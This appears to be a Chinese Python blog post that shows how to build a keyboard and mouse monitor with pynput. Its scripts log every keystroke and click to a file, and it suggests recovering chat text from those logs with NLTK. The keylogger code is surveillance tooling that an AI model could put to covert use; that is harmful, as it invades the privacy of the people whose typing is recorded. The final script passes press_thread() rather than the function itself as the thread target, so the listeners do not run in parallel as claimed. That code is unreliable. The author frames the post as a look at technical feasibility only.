社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Python

用 Python 写一个电脑监控程序

Python爱好者社区 • 4 年前 • 570 次点击  

大家好,

继打游戏、看视频等摸鱼行为被监控后,现在打工人离职的倾向也会被监控。最近有网友表示,所在企业安装了行为感知系统,该系统可以提前获知员工跳槽念头。

一时间,“打工人太难了”“毫无隐私可言”的讨论层出不穷。

有些小伙伴就问了:这种监控技术上可行吗?复杂吗?今天就带大家尝试用几行 Python 代码,监控电脑上的操作。

监控键盘

如果公司偷偷在我们的电脑上运行了一个后台进程,来监控我们的键盘事件,最简单的 python 写法大致是这样的:

from pynput import keyboard

def on_press(key):
    print(f'{key} :pushed')


def on_release(key):
    if key == keyboard.Key.esc:
        return False


with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
    lsn.join()

随意敲击键盘,你就会从控制台看到这样的输出:

代码内容就是两个方法,一个是监听按键事件,另一个是监听退出事件——敲击 ESC 按键后释放就退出了。

监控鼠标

如果还要监听鼠标事件,那么上这段代码就行了:

from pynput import mouse

def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        print('left was pressed!')
    elif button == mouse.Button.right:
        print('right was pressed!')
        return False
    else:
        print('mid was pressed!')


# 定义鼠标监听线程
with mouse.Listener(on_click=on_click) as listener:
    listener.join()

这段代码主要是监听鼠标的左右键点击操作,运行之后操作鼠标,就可以看到控制台打印如下结果:

细心的你一定会发现,每次点击事件,都打印了两次。这是因为按下和松开都会触发鼠标事件。

记录监控日志

键盘事件和鼠标事件都有了,是时候将二者结合起来,把用户的操作记录到日志了。这里我们用 loguru 这个模块来记录日志。

整个代码如下:

from pynput import keyboard, mouse
from loguru import logger
from threading import Thread

# 定义日志文件
logger.add('moyu.log')


def on_press(key):
    logger.debug(f'{key} :pushed')


def on_release(key):
    if key == keyboard.Key.esc:
        return False


# 定义键盘监听线程
def press_thread():
    with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
        lsn.join()


def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
    else:
        return False


# 定义鼠标监听线程
def click_thread():
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()


if __name__ == '__main__':
    # 起两个线程分别监控键盘和鼠标
    t1 = Thread(target=press_thread())
    t2 = Thread(target=click_thread())
    t1.start()
    t2.start()

运行之后,你就可以在同级目录下的日志文件中,看到这样的内容了:

总结

本文主要通过 pynput 这个 python 模块,演示怎么记录键盘和鼠标的操作。这几行简单的代码对于简单的输入监控是可行的,但是对于聊天记录之类的复杂语句,你还需要针对日志用 NLTK 语言处理,才能复原你的聊天记录。

当然,我们这里仅仅是从技术上讨论可行性,各位切莫做有损别人隐私的事情。再说了,仅凭这个代码,别人一眼就会发现有程序在记录操作……

作者:闲欢
来源:Python 技术「ID: pythonall」


感谢转发和点赞的各位~
--- EOF ---
推荐↓↓↓

整理不易,请点赞和在看
Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/129835